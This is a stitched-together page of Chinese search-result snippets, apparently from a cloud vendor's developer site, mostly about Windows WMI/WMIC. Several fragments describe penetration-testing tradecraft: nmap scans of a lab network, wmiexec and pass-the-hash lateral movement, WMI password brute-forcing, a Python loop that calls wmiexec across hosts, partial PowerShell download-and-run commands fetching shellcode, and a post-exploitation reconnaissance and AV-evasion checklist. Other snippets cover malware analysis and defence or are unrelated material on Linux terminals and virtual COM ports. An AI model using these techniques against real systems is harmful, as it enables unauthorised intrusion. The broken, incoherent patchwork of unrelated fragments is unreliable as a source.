该靶场环境由5台机器组成，其中包括3台Windows机器和2台Linux机器。...、端口扫描 使用nmap进行端口扫描 Nmap -T4 -sC -sV 192.168.1.110 端口扫描发现外网服务器开启了22、80、3306端口,初步判断开启了SSH、HTTP和MySQL的数据库服务...ASD@192.168.93.20 ＃ WMI的全名为“Windows Management Instrumentation”。WMI是由一系列工具集组成的，可以在本地或者远程管理计算机系统。...从Windows 98开始，Windows操作系统都支持WMI。利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。...python -m SimpleHTTPServer 8080 在Windows server2008上使用powershell下载到本地并执行，这里有一个问题就是使用wmiexec获取到的只是一个半交互的
的哈~ 文档: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic 内容 帮助文档...SYSTEMSLOT - 物理连接点(包括端口、插槽和外设以及专用连接点)的管理。 TAPEDRIVE - 磁带驱动器管理。...CLASS - 按 Esc 键可获取完整 WMI 架构。 PATH - 按 Esc 键可获取完整 WMI 对象路径。 CONTEXT - 显示所有全局开关的状态。...GET [列表>] [获取开关>] PROCESS LIST [列表格式>] [列表开关>] wmic:root\cli> 键入“/?”...GET [列表>] [获取开关>] PROCESS LIST [列表格式>] [列表开关>] 因为是在electron中去调用所以非交互式肯定是我的首选 命令详解 process 查询指定应用的全部信息
说人话就是，只要是托管的MOF（https://msdn.microsoft.com/en-us/library/aa823192(v=vs.85).aspx）对象，都会被归集到这个WMI类中。...我百思不得其解，因为对于IaaS层面来说，驱动都是直接由虚拟化层提供的，作为虚拟机层面，获取这个驱动其实没有太大意义，因为不像客户端一样，有各类的驱动可以选择，也不存在不标准问题。...\$Dirfilename\$Logfilename" } 与获取网卡驱动版本一致，同样使用WMI接口进行获取软件安装列表（当然这也是业界较认可的方案），在Windows Server运维过程中...，WMI接口的运用非常有用，特别是构建CMDB时，使用WMI接口可以获取到非常多底层信息，虽然很多硬件方面的接口信息跟Linux的lspci还是有一定差距，但是可获取的信息范围要比lspci广得多。...哈哈），可以通过防火墙——高级设置，来检查是否存在端口、应用规则： image.png ---- 今天本来想要写场景2的所有模块，发现实在太多东西可以写了，担心篇幅太长影响阅读感受，所以将拆解后进行逐一模块解读
WMI有一个Service: 运行有 Winmgmt 的Windows服务,如果停止这个服务所有对WMI的操作都将没有反应。...SYSTEMSLOT - 物理连接点(包括端口、插槽和外设以及专用连接点)的管理。 TAPEDRIVE - 磁带驱动器管理。...CLASS - 按 Esc 键可获取完整 WMI 架构 PATH - 按 Esc 键可获取完整 WMI 对象路径 CONTEXT - 显示所有全局开关的状态 QUIT/EXIT -...PATH #从WMIC的默认别名模式中转义，直接访问WMI模式中的实例。 WMIC CONTEXT #显示所有全局开关的当前值。...GET [列表>] [获取开关>] ONBOARDDEVICE LIST [列表格式>] [列表开关>] 简单示例: # - 判断目标系统是否为虚拟机 wmic onboarddevice
信息收集 注意：信息收集需要根据实际场景来进行收集，而不是说笔者罗列的就是必须要做，WMI可以做的信息收集操作远不至笔者罗列的如此，希望同学能够举一反三，自由搭配，参考微软官方文档，根据实际情况获取所需...，包括路径 wmic fsdir "c:\\test" call delete #删除C盘下的test目录 wmic nteventlog get path,filename,writeable #查看系统中开启的...，无论您作何考虑，都需要利用到工具来进行操作，工具可以帮助您无需理解或多或少的知识，您只需读懂README即可，来帮助您获取shell，上传，下载，创建服务等操作，笔者会在此段中罗列部分WMI的工具以及部分命令用作横向移动...WMI爆破(135端口) 注意：请提前在ladon.exe目录下准备好user.txt和pass.txt。...参考文章 内网横移之WinRM 内网渗透|基于WMI的横向移动 WmiScan 135端口智能密码/WMI密码爆破 WinRM的横向移动详解 WMI横向移动 不需要 Win32_Process – 扩展
端口135）或 WinRM 协议（SOAP–端口 5985），如下图 此图清晰明了的显示了WMI基础结构与 WMI 提供者和托管对象之间的关系，它还显示了 WMI 基础结构和 WMI 使用者之间的关系...WMI Consumers(WMI使用者) 它位于WMI构架的最顶层，是WMI技术使用的载体。 如果我们是C++程序员，我们可以通过COM技术直接与下层通信。...当管理应用不再调用WMI时，WMI服务将会关闭或者进入低内存状态。如我们上图所示，WMI服务和上层应用之间是通过COM接口来实现的。...135端口的防火墙策略是入站出站允许的），比如：重启，关机，关闭进程，创建进程等。...，利用WMI进行横向移动、权限维持、权限提升、包括免杀都可以进行利用，这个在接下来的三个不同的篇章中进行介绍。
哈希传递利用了NTLM认证的缺陷，使用用户的密码哈希值来进行NTLM认证。如果目标机器与获取hash值的机器的密码相同，就可以直接使用hash来远程登录Windows主机了。...这个还是有解决办法的，Windows的远程登录方式还有很多种，比如说135端口的WMI服务、3389的RDP服务、5985端口的Winrm服务都是可以用来哈希传递的，下面分情况具体讲解一下。...Part2 技术研究过程 虚拟机环境搭建 为了方便演示，本地准备了一台Windows2016的虚拟机，IP地址是192.168.237.209，密码更改为P@ssw0rd 接下来使用mimikatz...，同时支持WMI、SMB的哈希传递。...如果所有的机器都是在域环境下，则可以使用默认的 5985 端口，否则的话则通过 5986 端口使用 HTTPS 传输。
如果不熟悉C++之类的编程语言或VBScript之类的脚本语言，或者不掌握WMI名称空间的基本知识，要用WMI管理系统是很困难的。...通过 WMI 实现数据的收集与管理，包括提供注册、请求传送、远程管理、安全管理、查询能力、和脚本编程能力等，其设计初衷之一是为了管理员能更加方便的对远程 windows 主机进行各种日常管理 先决条件：...SYSTEMSLOT - 物理连接点(包括端口、插槽和外设以及专用连接点)的管理。 TAPEDRIVE - 磁带驱动器管理。...CLASS - 按 Esc 键可获取完整 WMI 架构 PATH - 按 Esc 键可获取完整 WMI 对象路径 CONTEXT - 显示所有全局开关的状态 QUIT/EXIT -...PATH #从WMIC的默认别名模式中转义，直接访问WMI模式中的实例。 WMIC CONTEXT #显示所有全局开关的当前值。
[包括各个进程的详细权限,也包括目标系统中的可疑恶意进程(有可能是同行的马)]/端口/网络连接信息 获取本机所用杀软 / 监控种类 [ 后续好针对性的做免杀 ] 获取本机 rdp / ssh 端口开启状态...及 其默认端口号 获取本机所有用户的rdp外连记录 获取本机的所有SSH登录记录 获取当前系统所有登录成功的日志 [ 针对windows ] 获取本机所有已安装软件的详细列表 [ 主要为抓密码,提权,...桌面 及 回收站 里的所有文件列表 获取当前系统的所有存在suid权限的二进制程序 获取当前系统代理 [ ip & 端口 ] 获取当前系统所有的自启动注册表项值 获取当前系统的所有 ipc 连接 及...主要想看看目标机器上有无python,jdk,ruby...等语言的执行环境,后期可设法利用 ] 获取当前系统所有本地用户及组列表 获取当前系统host文件内容 获取当前机器硬件设备信息[ 主要为判断当前机器是否为虚拟机...] 获取当前域内的完整域管列表 获取当前域内的所有域控机器名列表 获取当前域内的所有DNS服务器机器名列表 获取当前域内的所有SPN 获取当前域内的所有OU 获取当前域内的所有用户 & 用户组列表 获取当前域信任关系
查看进程列表： tasklist 查看端口开放情况： netstat -ano 判断是否存在域： net view /domain 查看主机名、域DNS、IP： ipconfig...因此，我们可以基于此实现对用户名和密码的爆破。需要注意的是，IPC$需要139或445端口的支持。 三、WMI Windows管理工具（WMI）由一组扩展到的Windows驱动程序模型。...；使用DCOM可以通过网络直接进行通信，能够包括HTTP协议在内的多种网络传输。.../impacket-examples-windows 在实战中，当我们拿下了webserver，获取了webserver上的密码以及所有的域用户、本地用户、域内存活主机IP后，我们就可以以用户为用户字典...例如建立三个列表，使用三个循环进行遍历，循环生成命令执行语句（string），最后使用python os模块中的os.system()函数执行系统命令。
终端特殊设备文件一般有以下几种： ---- 1、串行端口终端(/dev/ttySn) 串行端口终端(Serial Port Terminal)是使用计算机串行端口连接的终端设备。...串行端口所对应的设备名称是/dev/tts/0, /dev/tts/1等 (或者/dev/ttyS0，/dev/ttyS1)等 设备号分别是(4,0), (4,1)等 分别对应于DOS系统下的COM1...eg.在命令行提示符下键入# echo test > /dev/ttyS1会把单词”test”发送到连接在ttyS1(COM2)端口的设备上。...此时一个getty程序就应该运行在对应的ttyp2(s2)端口上（真正的端口，从设备） 当telnet从远端获取了一个字符时，该字符就会通过m2、s2传递给 getty程序，而getty程序就会通过s2...A：tty设备包括虚拟控制台，串口以及伪终端设备。/dev/tty代表当前tty设备，在当前的终端中输入 echo “hello” > /dev/tty ，都会直接显示在当前的终端中。
虚拟端口（又名 COM 端口重定向器）是一种专用软件（通常 包括设备驱动程序和用户应用程序），其中包括基础 访问提供远程串行的联网设备所需的网络软件 连接。...当您的应用程序软件向虚拟端口发送串行命令时， 此命令将打包在 TCP/IP 帧中，并将传输到 网关。 标准 VCOM（RAWTCP、RFC2217）： 这些是 标准虚拟 COM 协议。...- RAWTCP 是 TCP帧 内的串行通信数据-RFC2217是完整的 通过 TCP 流 处理串行端口（数据和控制线） 标准VCOM模式适用于带串行端口的Ewon。...一个小弹出窗口邀请您选择 COM 名称和端口类型。 自 创建标准虚拟通信，选择“标准” VCOM 作为端口类型。 并配置它。 （1） 网关地址必须是 eWON的IP地址。...（5） 使用启用端口按钮 激活虚拟端口。 如果没有此激活，则 COMx 不会 在主机上物理创建。 启用后，eVCOM 将显示您的新 COM 端口，如下所示： 测试 ps.
在WMIC出现之前，如果要管理WMI系统，必须使用一些专门的WMI应用，例如SMS，或者使用WMI的脚本编程API，或者使用象CIM Studio之类的工具。...如果不熟悉C++之类的编程语言或VBScript之类的脚本语言，或者不掌握WMI名称空间的基本知识，要用WMI管理系统是很困难的。WMIC改变了这种情况。...该组件默认集成于 Windows XP - Windows 10 全系列系统中，我们可以通过 WMI 实现数据的收集与管理，包括提供注册、请求传送、远程管理、安全管理、查询能力、和脚本编程能力等，其设计初衷之一是为了管理员能更加方便的对远程...135 端口，这个端口是WMIC默认的管理端口，但是多数情况下内网主机都会开放这个端口，检测是否开放端口有多种方式，如下： nmap -p 135 192.168.1.30 telnet 192.168.1.30.../shellcode.txt') 3.也可以获取到系统的进程相关信息如下所示，当然你也可以指定节点，来实现查看远程主机情况。
该漏洞影响所有Windows x64，包括Windows 7 和 Windows Server 2008 R2 及以下版本 区分135、137、138、139和445端口 TCP135端口 UDP137...、138端口 TCP139、445端口 这几个端口都是与文件共享和打印机共享有关的端口，而且在这几个端口上经常爆发很严重的漏洞。...比如2017年危害全球的永恒之蓝，就是利用的445端口 SMB：(Server Message Block) Windows协议族，用于文件共享、打印共享的服务 NBT：(NetBIOS Over...TCP/IP)使用137（UDP）138（UDP）139（TCP）端口实现基于TCP/IP协议的NetBIOS网络互联 域横向移动-WMI-自带&命令&套件&插件 WMI是通过135端口进行利用，支持用户名明文或者...) os.system(wmi_exec) def zx(): for ip in ips: wmi_exec='python3 .
在WMIC出现之前，如果要管理WMI系统，必须使用一些专门的WMI应用，例如SMS，或者使用WMI的脚本编程API，或者使用象CIM Studio之类的工具。...如果不熟悉C++之类的编程语言或VBScript之类的脚本语言，或者不掌握WMI名称空间的基本知识，要用WMI管理系统是很困难的。WMIC改变了这种情况。...该组件默认集成于 Windows XP - Windows 10 全系列系统中，我们可以通过 WMI 实现数据的收集与管理，包括提供注册、请求传送、远程管理、安全管理、查询能力、和脚本编程能力等，其设计初衷之一是为了管理员能更加方便的对远程...135 端口，这个端口是WMIC默认的管理端口，但是多数情况下内网主机都会开放这个端口，检测是否开放端口有多种方式，如下： C:\> nmap -p 135 192.168.1.30 C:\> telnet.../shellcode.txt');\"" 3.也可以获取到系统的进程相关信息如下所示，当然你也可以指定节点，来实现查看远程主机情况。
在 Linux系统的设备特殊文件目录/dev/下，终端特殊设备文件一般有以下几种： 1.串行端口终端（/dev/ttySn） 串行端口终端（Serial Port Terminal）是使用计算机串行端口连接的终端设备...计算机把每个串行端口都看作是一个字符设备。有段时间这些串行端口设备通常被称为终端设备，因为那时它的最大用途就是用来连接终端。...这些串行端口所对应的设备名称是/dev/tts/0（或/dev/ttyS0）、/dev/tts/1（或 /dev/ttyS1）等，设备号分别是（4,0）、（4,1）等，分别对应于DOS系统下的COM1、...通过使用适当的软件，就可以把两个甚至多个伪终端设备连接到同一个物理串行端口上。 ...tty1 –tty6等称为虚拟终端，而tty0则是当前所使用虚拟终端的一个别名，系统所产生的信息会发送到该终端上。因此不管当前正在使用哪个虚拟终端，系统信息都会发送到控制台终端上。
因为杀毒软件没有报毒，同时用户的业务还正常，所以一开始没往病毒上想，认为是风扇损坏/机房环境造成CPU温度过高导致重启。经过抓包分析后发现机器在访问很多公网IP的445端口，推测是有问题的。...金山毒霸安全实验室写的病毒分析 http://www.freebuf.com/column/149286.html 通过文章得知，病毒无落地文件，持久化在WMI属性中，启动靠WMI事件侦听器。...SCM…变成DSM… 对于挖矿程序几个特征的分析 1、挖矿程序编译日期为2017年10月1日，时间晚于金山文章，推测是之前的改进版。 2、挖矿程序的参数列表。...使用MS17-010 通过WMI远程执行需要目标机器的登陆凭据，在病毒中查找获取凭据的代码。通过mimikaz获取明文密码和NTLM Hash。...（禁用后XP/2003无法使用共享，Win7开始使用SMBv2） WMI远程调用 1、组件服务控制台中禁用administrators的远程权限 杜绝minikaz获取Windows明文密码（Windows
快速的过一下这部分内容的重点： WMI实际上的历史非常久远，最早在Windows 2000中内置，后面所有的Windows 系统中都内置了该项服务。...)连接远程计算机，WMI Cmdlets 是所有的是DCOM 连接远程计算机。...或者获取用户的数据。...界面的WMI菜单栏） 相关文章：透过Autoruns看持久化绕过姿势的分享（一） (https://www.freebuf.com/articles/network/164252.html) 防御 所有的系统行为都可以引发一个事件...，包括前面的创建/删除WMI 永久事件订阅、修改注册表、安装 WMI Providers 都会触发对应的事件。
描述简介 MyKings 是一个由多个子僵尸网络构成的多重僵尸网络，2017 年 4 月底以来，该僵尸网络一直积极地扫描互联网上 1433 及其他多个端口，并在渗透进入受害者主机后传播包括 DDoS、...main部分中的所有ip和网址用来下载后门病毒相关配置，update部分中的ip和网址用来更新ntuser.dat配置数据，请求到的相关配置信息至今依然在持续更新。...C服务器列表中的服务器地址请求xpxmr.dat文件，用于更新C&C服务器列表。...更新C&C服务器列表 病毒在运行中会向C&C服务器请求获取最新病毒版本号，当检测到存在新版本时，则会通过C&C服务器下载执行最新版本的病毒程序。...解决方案 1.隔离感染主机：已中毒计算机尽快隔离，关闭所有网络连接，禁用网卡； 2.切断传播途径：从僵尸网络当前的攻击重点来看，防范其通过1433端口入侵计算机是非常有必要的。
✎ 阅读须知 乌鸦安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...#获取所有进程名称以及可执行路径 wmic process where name="jqs.exe" get executablepath #获取指定进程可执行路径 wmic process...|more #服务列表 wmic startup list full #识别开机启动的程序，包括路径 wmic fsdir "c:\\test" call delete #删除C盘下的test目录 wmic...其可以在远程系统中执行命令并进行回显，获取远程主机的半交互式Shell。...总结 本文对WMI的基本用法做了一个归类，其中参考了众多师傅的文章，WMI的用法远不止于此，而且本文是未对存在杀软的环境进行分析，等以后有机会再去探讨吧。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
腾讯会议
云直播
